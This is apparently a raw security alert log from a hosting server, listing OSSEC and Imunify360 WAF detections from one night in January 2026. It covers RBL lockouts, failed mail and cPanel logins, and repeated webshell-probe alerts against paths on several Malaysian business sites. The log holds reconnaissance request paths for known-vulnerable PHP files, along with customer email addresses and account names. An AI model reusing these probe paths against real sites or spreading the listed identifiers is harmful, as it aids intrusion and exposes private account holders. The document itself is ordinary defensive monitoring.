rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.140.123.251
country_id: 3469034
description:
Jan 22 02:59:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.140.123.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.200
country_id: 3469034
description:
Jan 22 02:59:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.200
country_id: 3469034
description:
Jan 22 02:59:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 03:01:11 H=([45.144.212.242]) [45.144.212.242]:52415 F=<no_reply@admin.com> rejected RCPT <yuki@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 03:03:17 H=([45.144.212.242]) [45.144.212.242]:53823 F=<no_reply@admin.com> rejected RCPT <zainuddin@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 03:04:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.66.73
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=4&sub=3 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.86.216
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=775548 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.63.87
country_id: 1814991
description:
Jan 22 03:07:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.63.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.63.87
country_id: 1814991
description:
2026-01-22 03:07:16 dovecot_login authenticator failed for H=([111.26.63.87]) [111.26.63.87]:44502: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.170.13.15
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/video.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.155
country_id: 2750405
description:
2026-01-22  3:13:32 504639 [Warning] Aborted connection 504639 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.155' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 03:13:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.155
country_id: 2750405
description:
2026-01-22  3:15:22 504746 [Warning] Aborted connection 504746 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.155' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.82
country_id: 2510769
description:
Jan 22 03:15:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.12
country_id: 732800
description:
Jan 22 03:15:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 03:16:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.82
country_id: 2510769
description:
Jan 22 03:16:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.82 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.155
country_id: 2750405
description:
2026-01-22  3:16:42 504798 [Warning] Aborted connection 504798 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.155' (This connection closed normally without authentication)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 194.110.247.102
country_id: 617790
domain: www.feliogroup.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) HeadlessChrome/92.0.4515.107 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.243.13
country_id: 2510769
description:
Jan 22 03:18:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.243.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.120.233
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=74351515570613 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.196.196
country_id: 3469034
description:
Jan 22 03:21:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.196.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.131
country_id: 3865483
description:
Jan 22 03:21:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.131
country_id: 3865483
description:
Jan 22 03:22:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.197
country_id: 3077311
description:
2026-01-22 03:22:31 dovecot_plain authenticator failed for H=([10.9.18.41]) [212.102.39.197]:18936: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.79.122
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-22.92.71.79.122||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.128.32
country_id: 3469034
description:
Jan 22 03:22:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.128.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.128.32
country_id: 3469034
description:
Jan 22 03:22:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.128.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.197
country_id: 3077311
description:
2026-01-22 03:22:58 dovecot_login authenticator failed for H=([10.9.18.41]) [212.102.39.197]:52211: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 03:23:28 H=([45.144.212.242]) [45.144.212.242]:56013 F=<no_reply@admin.com> rejected RCPT <enquiry@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.153.42
country_id: 1733045
description:
Jan 22 03:24:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.153.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.42
country_id: 1733045
description:
2026-01-22 03:24:43 dovecot_login authenticator failed for H=([49.124.153.42]) [49.124.153.42]:41862: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 176.123.1.159
country_id: 617790
domain: pftfood.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x46_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/133.0.6943.16 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 03:26:15 H=([45.144.212.242]) [45.144.212.242]:51127 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.65.214
country_id: 3469034
description:
Jan 22 03:27:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.65.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.117
country_id: 3175395
description:
Jan 22 03:27:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 03:27:46 H=([45.144.212.242]) [45.144.212.242]:56176 F=<no_reply@admin.com> rejected RCPT <info@mkmetal.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.183.82.70
country_id: 2017370
description:
Jan 22 03:28:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.183.82.70 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.94.138.119
country_id: 6252001
description:
Jan 22 03:30:44 sv3 pure-ftpd[3652289]: (?@167.94.138.119) [INFO] New connection from 167.94.138.119


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.68.30.136
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=49 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.10
country_id: 3469034
description:
Jan 22 03:34:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.10 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.0.168.230
country_id: 1269750
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/products/officechair/pico/pico.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 03:39:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.115.172.243
country_id: 3923057
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/fzaninotto/faker/test/test.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.165.150
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=308206 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.231.91.71
country_id: 3469034
description:
Jan 22 03:46:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.231.91.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.98
country_id: 798544
description:
Jan 22 03:49:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.98 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/demos/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.192
country_id: 3469034
description:
Jan 22 03:53:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.192 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.29.6.193
country_id: 3439705
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/evorezt.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-22 03:58:52 +0800] info [whostmgrd] 103.214.234.27 - mschemic "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.185
country_id: 3865483
description:
Jan 22 03:58:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.185 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.179.189.200
country_id: 3469034
description:
Jan 22 03:59:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.179.189.200 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:01:22 H=([45.144.212.242]) [45.144.212.242]:61625 F=<no_reply@admin.com> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.83.206.74
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=80711514876814 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.238
country_id: 3469034
description:
Jan 22 04:04:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.240.44.196
country_id: 798544
description:
Jan 22 04:05:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.240.44.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:06:30 H=([45.144.212.242]) [45.144.212.242]:49583 F=<no_reply@admin.com> rejected RCPT <sales@chs.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.240.44.196
country_id: 798544
description:
Jan 22 04:05:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.240.44.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.79.157
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=759894 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/demos/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.48.112.8
country_id: 1835841
description:
Jan 22 04:08:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.48.112.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.48.112.8
country_id: 1835841
description:
2026-01-22 04:08:51 dovecot_login authenticator failed for H=([14.48.112.8]) [14.48.112.8]:2312: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:08:31 H=([45.144.212.242]) [45.144.212.242]:59631 F=<no_reply@admin.com> rejected RCPT <info@pspoly.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.104.225.201
country_id: 6252001
description:
Jan 22 04:08:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.104.225.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.104.225.201
country_id: 6252001
description:
2026-01-22 04:08:34 dovecot_login authenticator failed for H=(syn-024-104-225-201.res.spectrum.com) [24.104.225.201]:35435: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.67.3.242
country_id: 2542007
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/library/Mockery/Loader.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.72.242
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-16.89.110.72.242||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:16:53 H=([45.144.212.242]) [45.144.212.242]:56742 F=<no_reply@admin.com> rejected RCPT <info@printspecsolution.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.172.75.31
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/portfolios/naluri-residence/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.44.4
country_id: 2395170
description:
Jan 22 04:17:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.44.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.93
country_id: 3175395
description:
Jan 22 04:18:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.135.62.103
country_id: 1814991
description:
Jan 22 04:18:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.135.62.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.62.103
country_id: 1814991
description:
2026-01-22 04:18:57 dovecot_login authenticator failed for H=([36.135.62.103]) [36.135.62.103]:37308: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.251.137.208
country_id: 102358
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/vono1.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.145.205.99
country_id: 3469034
description:
Jan 22 04:20:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.145.205.99 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 199.91.162.55
country_id: 3570311
description:
Jan 22 04:21:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 199.91.162.55 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.172.200
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=74631515983377 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 91.208.197.125
country_id: 617790
domain: aire-fresh.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.3834.110 Safari/537.36 WP.com mShots||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
